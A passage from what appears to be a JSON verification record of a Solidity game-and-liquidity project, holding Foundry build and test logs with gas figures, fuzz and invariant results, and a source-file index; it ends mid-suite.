987189)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021207)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021573)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 49698406)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.82s (429.13ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10332372)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11132642)\n[PASS] test_claimNothingReverts() (gas: 8017998)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16671190)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19791007)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26748189)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9504575)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10429625)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11974482)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 132936431)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4032742\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36665392)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23295775)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 20132501)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9349315)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10278980)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924807)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9405550)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9620803)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16997596)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16532028)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15654130)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836249)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878374)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396379)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16944023)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 17197060)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10847557)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9671429)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15908120)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12118996)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9345856)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15957793)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 2.82s (963.73ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35383)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19739432)\nLogs:\n  takeCrown gas, eighteen real pools: 2787578\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16316503)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22662437)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 17019420)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15972973)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8938758)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10783927)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16704126)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.84s (1.44s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 23317537, ~: 18986575)\nLogs:\n  Bound result 193\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116648048)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668339\n  5000-entry draw total gas: 16251823\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 53014690)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 445470)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 647944)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8891019)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191552)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5149996)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 687038)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 733751)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 49688583)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 50308019)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 94565686)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1922947)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 2.84s (6.28s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400401\n  Bound result 5275559\n  Bound result 9713\n  Bound result 5400051\n  Bound result 5966\n  Bound result 420\n  Bound result 27752659550464\n  Bound result 17\n  Bound result 63\n  Bound result 100000000000000\n  Bound result 1400741\n  Bound result 94210890951955\n  Bound result 5409323\n  Bound result 1224162\n  Bound result 5414814\n  Bound result 16704\n  Bound result 84360270737211602851323\n  Bound result 4194303\n  Bound result 5403601\n  Bound result 99999999999951\n  Bound result 281612805414\n  Bound result 100003\n  Bound result 912081\n  Bound result 5424283\n  Bound result 3546846648\n  Bound result 6\n  Bound result 7477639625207\n  Bound result 55233820198187907090093\n  Bound result 16611\n  Bound result 16429\n  Bound result 11320\n  Bound result 866673\n  Bound result 19345\n  Bound result 18000000000000000\n  Bound result 154087980144090\n  Bound result 62851989520109200883\n  Bound result 21\n  Bound result 13\n  Bound result 10280\n  Bound result 1507695\n  Bound result 600000\n  Bound result 115788164\n  Bound result 2097152\n  Bound result 99999999999841\n  Bound result 55619632766004\n  Bound result 5400201\n  Bound result 31\n  Bound result 7000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.67s (3.64s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 4\n  Bound result 85\n  Bound result 14\n  Bound result 7\n  Bound result 77\n  Bound result 56\n  Bound result 21\n  Bound result 12\n  Bound result 0\n  Bound result 28\n  Bound result 11\n  Bound result 3\n  Bound result 20\n  Bound result 82\n  Bound result 23\n  Bound result 32\n  Bound result 28\n  Bound result 7\n  Bound result 74\n  Bound result 11\n  Bound result 89\n  Bound result 8\n  Bound result 13\n  Bound result 15\n  Bound result 50\n  Bound result 41\n  Bound result 15\n  Bound result 12\n  Bound result 13\n  Bound result 61\n  Bound result 10\n  Bound result 60\n  Bound result 81\n  Bound result 6\n  Bound result 25\n  Bound result 68\n  Bound result 8\n  Bound result 18\n  Bound result 6\n  Bound result 40\n  Bound result 19\n  Bound result 76\n  Bound result 5\n  Bound result 13\n  Bound result 4\n  Bound result 41\n  Bound result 43\n  Bound result 35\n  Bound result 12\n  Bound result 87\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.78s (5.71s CPU time)\n\nRan 22 test suites in 5.79s (39.91s CPU time): 229 tests passed, 0 failed, 0 skipped (229 total tests)\n","passed":true},{"durationMs":79,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256,uint160)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.observeMarket()\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":275,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":476,\"docs/TEST-REPORT.md\":153,\"docs/VERIFY.md\":76,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":820,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":720,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":321,\"src/interfaces/Interfaces.sol\":120,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":229,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":767,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4Pad.t.sol\":1124,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"5fc7810269c0da4c4cf8e3f5e26e7fe5979460a0eee19a9bb89bbb2a8d0c1233","verifiedTreeHash":"da1432538d56c6254086c4f6efc0bb429c170234","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":174167,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 174.02s\nCompiler run successful!\n","passed":true},{"durationMs":6702,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 142005)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 779485)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3622877)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1372189)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 32.56ms (3.15ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1039588)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257951)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 7552812)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1118559)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 938135)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 870058)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9416623)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 595367)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9770705)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1057613)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1010910)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3963506)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35152)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 148166)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 62.76ms (20.48ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 2995719)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10657368)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20102889)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6286621)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1926233)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 64.30ms (16.72ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 42142554)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12188384\n  Later openPad including hook and genesis gas: 774386\n  Combined manifest and later opening gas: 12962770\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 69.51ms (69.24ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2119062)\n[PASS] test_claimableWinner() (gas: 2921499)\n[PASS] test_conservationOfEth() (gas: 6041969)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2477687)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2534818)\n[PASS] test_deathAndAllDeadEnd() (gas: 1997190)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1636392)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2574127)\n[PASS] test_failedPushBecomesClaimable() (gas: 1622203)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5527376)\n[PASS] test_finalizeRanksAndPays() (gas: 4880733)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1845603)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120352409)\n[PASS] test_finalizerFeeCapped() (gas: 12922624)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1882762)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 402636)\n[PASS] test_fundPotOnlyPad() (gas: 44007)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21472067)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3714760)\n[PASS] test_graduateOnlyFromGame() (gas: 73156)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8372440)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1574907)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4307012)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9863196)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7530549)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2439060)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 2031399)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1919768)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1863731)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1529666)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1461282)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3242811)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1616740)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 3110164)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 161.32ms (201.39ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20464485)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11191889)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 169.46ms (67.18ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2652956)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 7027031)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407099)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1176660)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2484224)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10164114)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4752792\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1913308)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 200.28ms (162.49ms CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 50476765)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5337200)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987189)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021207)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021573)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 49698406)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 421.77ms (374.86ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10332372)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11132642)\n[PASS] test_claimNothingReverts() (gas: 8017998)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16671190)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19791007)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26748189)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9504575)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10429625)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11974482)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 132936431)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4032742\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36665392)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23295775)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 20132501)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9349315)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10278980)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924807)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9405550)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9620803)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16997596)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16532028)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15654130)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836249)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878374)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396379)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16944023)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 17197060)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10847557)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9671429)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15908120)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12118996)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9345856)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15957793)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 656.00ms (1.32s CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 11013476, ~: 9804834)\nLogs:\n  Bound result 6\n  Bound result 999\n  Bound result 990000000000016677\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 655.79ms (614.97ms CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6364219)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2410300)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19856245)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7767448\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 714463)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 459684)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23966178)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6152028)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.63s (3.15s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20635517)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26745053)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 17025)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16810219)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17778092)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8573835)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 18353261)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16479057)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16427016)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.13s (456.19ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35383)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19739432)\nLogs:\n  takeCrown gas, eighteen real pools: 2787578\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16316503)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22662437)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 17019420)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15972973)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8938758)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10783927)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16704126)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.30s (1.35s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1782627, ~: 1791973)\nLogs:\n  Bound result 348\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2062501)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43514758)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3687477)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1354396\n  roll with both liquidity upkeep stipends exhausted: 1454127\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 3136287)\nSuite 